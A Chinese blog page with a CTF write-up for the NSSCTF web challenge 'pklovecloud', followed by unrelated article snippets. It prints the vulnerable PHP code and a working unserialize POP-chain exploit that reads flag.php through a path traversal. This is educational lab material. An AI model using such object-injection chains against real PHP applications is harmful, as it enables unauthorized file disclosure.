当前位置: 首页 > news >正文

NSSCTF-WEB-pklovecloud

目录

前言

正文

思路

尝试

结尾


前言

许久未见,甚是想念.

今天来解一道有意思的序列化题


正文

思路

<?php
include 'flag.php';
class pkshow
{function echo_name(){return "Pk very safe^.^";}
}class acp
{protected $cinder;public $neutron;public $nova;function __construct(){$this->cinder = new pkshow;}function __toString(){if (isset($this->cinder))return $this->cinder->echo_name();}
}class ace
{public $filename;public $openstack;public $docker;function echo_name(){$this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)){return file_get_contents($file);}else{return "keystone lost~";}}}
}if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}
else
{highlight_file(__file__);
}

序列化,首要的肯定是找哪里可以执行指令或者查看flag

首先我们一开始就看见了这个

include 'flag.php';

当然光看这个没有什么意义

除此之外

function echo_name(){$this->openstack = unserialize($this->docker);//这里做了一次反序列化$this->openstack->neutron = $heat;//$heat应该是flag.php的东西if($this->openstack->neutron === $this->openstack->nova)//===,数组绕过?{$file = "./{$this->filename}";if (file_get_contents($file)){return file_get_contents($file);}else{return "keystone lost~";}}}

这样,我们就明白了,所以$filename=flag.php;

想要执行echo_name,需要看看哪里可以调用

class acp
{protected $cinder;public $neutron;public $nova;function __construct(){$this->cinder = new pkshow;}function __toString(){if (isset($this->cinder))return $this->cinder->echo_name();//就是这里了}
}

但是,echo_name不止一处

class pkshow
{function echo_name(){return "Pk very safe^.^";}
}

我们需要调用__toString魔术方法

__toString()会在类被当作字符串调用的时候自动触发,比如说echo一个类

所以我们还需要查看哪里可以调用__toString

if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}

我们可以先生成一个序列化,从而成功执行并调用toString()

这个时候,我们可以初步构造一个,然后慢慢修改,因为当题量大的时候,我们很难一次性就理清所有思路然后成功拿到flag

那就先随便写一个

<?php
class pkshow
{function echo_name(){return "Pk very safe^.^";}
}
class acp{protected $cinder;public $neutron;public $nova;function __construct(){$this->cinder=new pkshow;}}class ace//这里原封不动抄下来,因为如果成功调用ace,也会因为ace的过滤回显keystone lost~
{public $filename;public $openstack;public $docker;function echo_name(){$this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)){return file_get_contents($file);}else{return "keystone lost~";}}}
}$a=new acp();
echo urlencode(serialize($a));

原因是因为__construct事先定义了new pkshow,所以接下来我们需要进行修改

 function __construct(){$this->cinder = new ace;}

这个应该不难理解,当cinder修改为new ace,下面的toString就将ace实例化为字符串进行调用,又由于ace内部的过滤,所以成功输出了keystone lost~

好的,这是第一步,我们成功使toString执行aceecho_name,接下来就需要修改ace内部函数获取flag

首先,从开头我们就知道,$filename=flag.php;然后我们来看看ehco_name写了什么

 function echo_name(){$this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)){return file_get_contents($file);}else{return "keystone lost~";}}}

关键还是这里的强比较,由此联想数组绕过

关于数组绕过,可以详细看这位师傅的文章

浅谈CTF中各种花式绕过的小trick_ctf 字符串绕过-CSDN博客

对于这种没有丝毫过滤,且具有一点条件的玩法(docker被反序列化),直接定义一个null即可实现相等

一般来说,我们使用a[]=1&b[]=2来绕过,这样实际上a=null,b=null.因为a[]b[]实际是一个空数组

这里的话,我们直接让docker=null即可,这样因为 $this->openstack->neutron就会让neutron=null

那么,接下来


尝试

EXP:

<?php
class acp{protected $cinder;public $neutron;public $nova;function __construct(){$this->cinder=new ace;}}class ace
{public $filename='flag.php';public $openstack;public $docker=null;
}$a=new acp();
echo urlencode(serialize($a));

由于本人比较喜欢极简,所以删除了不必要的代码

好的,我们继续

不在当前目录下

../以后成功拿到flag

成功


结尾

我也没想到在七月开头的第二天,就已经实现了1w访问量的成就

这对于一位小白代学生来说,是一件值得自豪的事情

也希望未来能够带来更高质量的文章

最后,求赞求关注

感谢!!!!!!!!!!!!!!!!!!!!


作者的其他文章

BugKu-WEB-sodirty_bugku sodirty-CSDN博客

攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客

攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客

BugKu-WEB-unserialize-Noteasy_bugku unserialize-noteasy-CSDN博客

相关文章:

NSSCTF-WEB-pklovecloud

目录 前言 正文 思路 尝试 结尾 前言 许久未见,甚是想念. 今天来解一道有意思的序列化题 正文 思路 <?php include flag.php; class pkshow {function echo_name(){return "Pk very safe^.^";} }class acp {protected $cinder;public $neutron;public $…...

深入Postman- 自动化篇

前言 在前两篇博文《Postman使用 - 基础篇》《玩转Postman:进阶篇》中,我们介绍了 Postman 作为一款专业接口测试工具在接口测试中的主要用法以及它强大的变量、脚本功能,给测试工作人员完成接口的手工测试带来了极大的便利。其实在自动化测试上,Postman 也能进行良好的支…...

react-JSX

JSX理念 jsx在编译的时候会被babel编译为react.createELement方法 在使用jsx的文件中&#xff0c;需要引入react。import React from "react" jsx会被编译为React.createElement,所有jsx的运行结果都是react element React Component 在react中&#xff0c;常使用…...

深度对比:IPguard与Ping32在企业网络管理中的应用

随着网络安全形势日益严峻&#xff0c;企业在选择网络管理工具时需慎之又慎。IPguard与Ping32是目前市场上两款颇具代表性的产品&#xff0c;它们在功能、性能以及应用场景上各有优势。本文将对这两款产品进行深度对比&#xff0c;以帮助企业找到最合适的解决方案。 IPguard以其…...

AI测试之 TestGPT

如今最火热的技术莫非OpenAI的ChatGPT莫属&#xff0c;AI技术也在很多方面得到广泛应用。今天我们要介绍的TestGPT就是一个软件测试领域中当红的应用。 TestGPT是什么&#xff1f; TestGPT是一家总部位于以色列特拉维夫的初创公司 CodiumAI Ltd.&#xff0c;发布的一款用于测…...

JavaEE-进程与线程

1.进程 1.1什么是进程 每个应⽤程序运⾏于现代操作系统之上时&#xff0c;操作系统会提供⼀种抽象&#xff0c;好像系统上只有这个程序在运 ⾏&#xff0c;所有的硬件资源都被这个程序在使⽤。这种假象是通过抽象了⼀个进程的概念来完成的&#xff0c;进程可 以说是计算机科学…...

JAVA软开-面试经典问题(6)-equals与hashcode方法

1.equals方法 1.Object类中的equals方法比较的是两个对象的地址&#xff08;底层原理是 比较的&#xff0c;即比较的是对象的地址&#xff09; return (this obj);2.基本数据类型的包装类和String类都重写了equals方法。 基本数据类型&#xff1a;比较的是数值的是否相等 …...

计算机网络(以Linux讲解)

计算机网络 网络协议初识协议分层OSI七层模型TCP/IP五层模型--初识 网络中的地址管理IP地址MAC地址 网络传输基本流程网络编程套接字预备知识网络字节序socket编程UDP socketTCP socket地址转换函数Jsoncpp 进程间关系与守护进程进程组会话控制终端作业控制守护进程 网络命令TC…...

计算机网络基本架构知识点

1. 网络体系结构模型&#xff1a; - OSI 七层模型&#xff1a; - 物理层&#xff1a;是网络通信的基础层&#xff0c;负责在物理介质上传输比特流。该层定义了物理连接的标准&#xff0c;如电缆的类型、接口的形状、插头的规格等&#xff0c;以及信号的传输方式&#xff0c;包括…...

GES DISC 的 ATMOS L2 潜在温度网格上的痕量气体,固定场格式 V3 (ATMOSL2TF)

ATMOS L2 Trace Gases on Potential Temperature Grid, Fixed Field Format V3 (ATMOSL2TF) at GES DISC 简介 GES DISC 的 ATMOS L2 潜在温度网格上的痕量气体&#xff0c;固定场格式 V3 (ATMOSL2TF) 这是版本3的气溶胶痕量分子光谱&#xff08;ATMOS&#xff09;第二级产品…...

MLCC贴片电容不同材质区别:【及电容工作原理】

贴片电容的材质常规有&#xff1a;NPO&#xff08;COG&#xff09;&#xff0c;X7R&#xff0c;X5R&#xff0c;Y5V 等&#xff0c;主要区别是它们的填充介质不同。在相同的体积下由于填充介质不同所组成的电容器的容量就不同&#xff0c;随之带来的电容器的介质损耗、容量稳定…...

Word粘贴时出现“文件未找到:MathPage.WLL”的解决方案

解决方案 一、首先确定自己电脑的位数&#xff08;这里默认大家的电脑都是64位&#xff09;二、右击MathType桌面图标&#xff0c;点击“打开文件所在位置”&#xff0c;然后分别找到MathPage.WLL三、把这个文件复制到该目录下&#xff1a;C:\Program Files\Microsoft Office\r…...

前端开发笔记--html 黑马程序员1

文章目录 前端开发工具--VsCode前端开发基础语法VsCode优秀插件Chinese --中文插件Auto Rename Tag --自动重命名插件open in browserOpen in Default BrowserOpen in Other Browser Live Server -- 实时预览 前端开发工具–VsCode 轻量级与快速启动 快速加载&#xff1a;VSCo…...

ARM/Linux嵌入式面经(四四):华星光电

文章目录 1、自我介绍2、介绍一下你最得意的一个项目3、这个项目里面都用到了什么模块,什么型号,有什么作用4、移植操作系统的过程中,流程是什么,需要注意什么移植操作系统的流程需要注意的事项面试官可能的追问及回答5、你用的传感器挺多的,怎么保证传感器传输的稳定性,…...

帮助,有奖提问

<?php $u $_GET[“user”]; //变量获取 $v $_GET[“variable”]; //$v看flag&#xff0c;绕过正则 $flag‘flag{}; if(isset($u)&&(file_get_contents($u,‘r’)“im admin”)){//猜测data://协议 //检查u指向 echo “hello admin!<br>”; if(preg_…...

Java编辑工具IDEA

哪个编程工具让你的工作效率翻倍&#xff1f; 在日益繁忙的工作环境中&#xff0c;选择合适的编程工具已成为提升开发者工作效率的关键。不同的工具能够帮助我们简化代码编写、自动化任务、提升调试速度&#xff0c;甚至让团队协作更加顺畅。那么&#xff0c;哪款编程工具让你…...

闲谈Promise

预备知识 回调函数&#xff1a;当一个函数作为参数传入另一个函数中&#xff0c;并且它不会立刻执行&#xff0c;当满足一定条件之后&#xff0c;才会执行&#xff0c;这种函数称为回调函数。比如&#xff1a;定时器。异步任务&#xff1a;与之对应的概念是同步任务&#xff0…...

【C++堆(优先队列)】1882. 使用服务器处理任务|1979

本文涉及知识点 C堆(优先队列) LeetCode1882. 使用服务器处理任务 给你两个 下标从 0 开始 的整数数组 servers 和 tasks &#xff0c;长度分别为 n​​​​​​ 和 m​​​​​​ 。servers[i] 是第 i​​​​​​​​​​ 台服务器的 权重 &#xff0c;而 tasks[j] 是处理…...

VBA高级应用30例应用3Excel中的ListObject对象:选择表的一部分

《VBA高级应用30例》&#xff08;版权10178985&#xff09;&#xff0c;是我推出的第十套教程&#xff0c;教程是专门针对高级学员在学习VBA过程中提高路途上的案例展开&#xff0c;这套教程案例与理论结合&#xff0c;紧贴“实战”&#xff0c;并做“战术总结”&#xff0c;以…...

C语言-变量

全局变量可以定义在头文件中吗&#xff1f; 在C和C编程中&#xff0c;全局变量可以定义在头文件中&#xff0c;但通常不建议这样做&#xff0c;因为这可能导致多个源文件&#xff08;.c 或 .cpp 文件&#xff09;包含同一个头文件时&#xff0c;发生多重定义错误&#xff08;m…...

【并发心法】别用 volatile 骗自己了!撕碎裸机并发的伪安全,用 C++ Atomics 与内存屏障镇压“乱序执行”的底层叛乱

摘要&#xff1a;在嵌入式 C/C 开发中&#xff0c;99% 的工程师误以为 volatile 是解决中断与主循环并发冲突的万能解药。本文将无情揭露这一长达数十年的认知毒瘤。我们将带你深入现代编译器&#xff08;GCC/Clang&#xff09;的优化黑盒与 ARM Cortex 高级内核的流水线深处&a…...

Linux实战——Finalshell高效连接与服务器管理

1. 为什么选择Finalshell管理Linux服务器 第一次接触Linux服务器管理时&#xff0c;我试过好几种连接工具。从最基础的Putty到Xshell&#xff0c;再到MobaXterm&#xff0c;最后发现Finalshell才是真正适合中国开发者的神器。它不仅免费&#xff0c;还集成了SSH连接、文件传输、…...

ABAQUS UMAT子程序实现应变梯度塑性理论模拟损伤和断裂的分析 (包含的文件如图所示,p...

ABAQUS UMAT子程序实现应变梯度塑性理论模拟损伤和断裂的分析 (包含的文件如图所示&#xff0c;pdf详细介绍子程序的内容&#xff0c;公式等)在金属材料的断裂分析中&#xff0c;传统本构模型经常遇到网格敏感性问题。五年前我第一次尝试用应变梯度理论解决这个问题时&#xff…...

400字节的前端奇迹:TinyEditor如何重新定义微型代码编辑体验

400字节的前端奇迹&#xff1a;TinyEditor如何重新定义微型代码编辑体验 【免费下载链接】TinyEditor A functional HTML/CSS/JS editor in less than 400 bytes 项目地址: https://gitcode.com/gh_mirrors/ti/TinyEditor 在前端开发的世界里&#xff0c;我们常常被功能…...

拆解 OpenHands(11)--- Runtime主要组件

本篇继续对 runtime 的解读&#xff0c;主要介绍 插件、执行系统和环境这三个组件。因为本系列借鉴的文章过多&#xff0c;可能在参考文献中有遗漏的文章&#xff0c;如果有&#xff0c;还请大家指出。0x01 三大组件本篇要介绍的几个组件如下&#xff1a;ActionExecutor&#x…...

革新性网页资源捕获工具:猫抓全方位媒体嗅探与下载解决方案

革新性网页资源捕获工具&#xff1a;猫抓全方位媒体嗅探与下载解决方案 【免费下载链接】cat-catch 猫抓 chrome资源嗅探扩展 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 猫抓浏览器插件是一款革新性的开源资源嗅探工具&#xff0c;能够智能识别并捕获…...

G-Helper:华硕笔记本色彩配置一键恢复指南

G-Helper&#xff1a;华硕笔记本色彩配置一键恢复指南 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other models 项目地址: https://…...

SAP EWM RF手持设备开发实战:从SPRO配置到屏幕绘制的完整流程

SAP EWM RF手持设备开发实战&#xff1a;从SPRO配置到屏幕绘制的完整流程 在仓储物流领域&#xff0c;SAP EWM&#xff08;Extended Warehouse Management&#xff09;系统的RF&#xff08;Radio Frequency&#xff09;手持设备开发一直是技术难点与业务痛点的交汇处。不同于传…...

让Apple触控设备在Windows系统完美运行的驱动解决方案

让Apple触控设备在Windows系统完美运行的驱动解决方案 【免费下载链接】mac-precision-touchpad Windows Precision Touchpad Driver Implementation for Apple MacBook / Magic Trackpad 项目地址: https://gitcode.com/gh_mirrors/ma/mac-precision-touchpad 当你在Wi…...

掌握Python自动化抢票:开源工具助你高效获取演唱会门票

掌握Python自动化抢票&#xff1a;开源工具助你高效获取演唱会门票 【免费下载链接】DamaiHelper 大麦网演唱会演出抢票脚本。 项目地址: https://gitcode.com/gh_mirrors/dama/DamaiHelper 在演出票务竞争日益激烈的当下&#xff0c;手动抢票已难以应对毫秒级的抢票环境…...